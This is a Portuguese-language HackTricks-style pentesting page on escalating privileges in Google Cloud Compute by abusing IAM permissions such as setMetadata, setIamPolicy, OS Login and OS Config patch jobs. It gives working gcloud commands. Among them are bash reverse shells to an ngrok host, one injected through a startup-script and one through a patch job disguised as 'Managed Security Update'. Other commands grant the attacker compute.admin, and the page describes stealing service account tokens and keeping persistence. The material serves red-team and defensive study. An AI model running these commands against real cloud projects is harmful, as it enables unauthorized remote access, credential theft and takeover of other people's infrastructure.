GCP - Compute Privesc

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Compute

Para mais informações sobre Compute e VPC (rede) no GCP, consulte:

GCP - Compute Enum

caution

Note que para realizar todos os ataques de escalonamento de privilégios que requerem modificar os metadados da instância (como adicionar novos usuários e chaves SSH) é necessário que você tenha permissões actAs sobre a SA anexada à instância, mesmo que a SA já esteja anexada!

compute.projects.setCommonInstanceMetadata

Com essa permissão, você pode modificar as informações de metadados de uma instância e alterar as chaves autorizadas de um usuário, ou criar um novo usuário com permissões sudo. Portanto, você poderá executar via SSH em qualquer instância de VM e roubar a Conta de Serviço do GCP com a qual a Instância está sendo executada.
Limitações:

  • Note que as Contas de Serviço do GCP executando em instâncias de VM por padrão têm um escopo muito limitado
  • Você precisará ser capaz de contatar o servidor SSH para fazer login

Para mais informações sobre como explorar essa permissão, consulte:

GCP - Add Custom SSH Metadata

Você também pode realizar esse ataque adicionando um novo script de inicialização e reiniciando a instância:

bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Esta permissão concede os mesmos privilégios que a permissão anterior, mas sobre instâncias específicas em vez de um projeto inteiro. Os mesmos exploits e limitações da seção anterior se aplicam.

compute.instances.setIamPolicy

Esse tipo de permissão permitirá que você conceda a si mesmo um papel com as permissões anteriores e escale privilégios abusando delas. Aqui está um exemplo adicionando roles/compute.admin a uma Conta de Serviço:

bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

Se OSLogin estiver habilitado na instância, com esta permissão você pode apenas executar gcloud compute ssh [INSTANCE] e se conectar à instância. Você não terá privilégios de root dentro da instância.

tip

Para fazer login com sucesso com esta permissão dentro da instância VM, você precisa ter a permissão iam.serviceAccounts.actAs sobre a SA anexada à VM.

compute.instances.osAdminLogin

Se OSLogin estiver habilitado na instância, com esta permissão você pode apenas executar gcloud compute ssh [INSTANCE] e se conectar à instância. Você terá privilégios de root dentro da instância.

tip

Para fazer login com sucesso com esta permissão dentro da instância VM, você precisa ter a permissão iam.serviceAccounts.actAs sobre a SA anexada à VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

É possível criar uma máquina virtual com uma Conta de Serviço atribuída e roubar o token da conta de serviço acessando os metadados para escalar privilégios para ela.

O script de exploração para este método pode ser encontrado aqui.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Se você tiver as permissões osconfig.patchDeployments.create ou osconfig.patchJobs.exec, você pode criar um trabalho de patch ou implantação. Isso permitirá que você se mova lateralmente no ambiente e ganhe execução de código em todas as instâncias de computação dentro de um projeto.

Observe que no momento você não precisa da permissão actAs sobre a SA anexada à instância.

Se você quiser explorar isso manualmente, precisará criar um trabalho de patch ou implantação.
Para um trabalho de patch execute:

python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Para implantar uma implantação de patch:

bash
gcloud compute os-config patch-deployments create <name> ...

A ferramenta patchy poderia ter sido usada no passado para explorar essa má configuração (mas agora não está funcionando).

Um atacante também poderia abusar disso para persistência.

compute.machineImages.setIamPolicy

Conceda a si mesmo permissões extras para a Imagem de computação.

compute.snapshots.setIamPolicy

Conceda a si mesmo permissões extras para um snapshot de disco.

compute.disks.setIamPolicy

Conceda a si mesmo permissões extras para um disco.

Bypass Access Scopes

Seguindo este link você encontra algumas ideias para tentar contornar os escopos de acesso.

Escalação de Privilégios Local em instância GCP Compute

GCP - local privilege escalation ssh pivoting

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks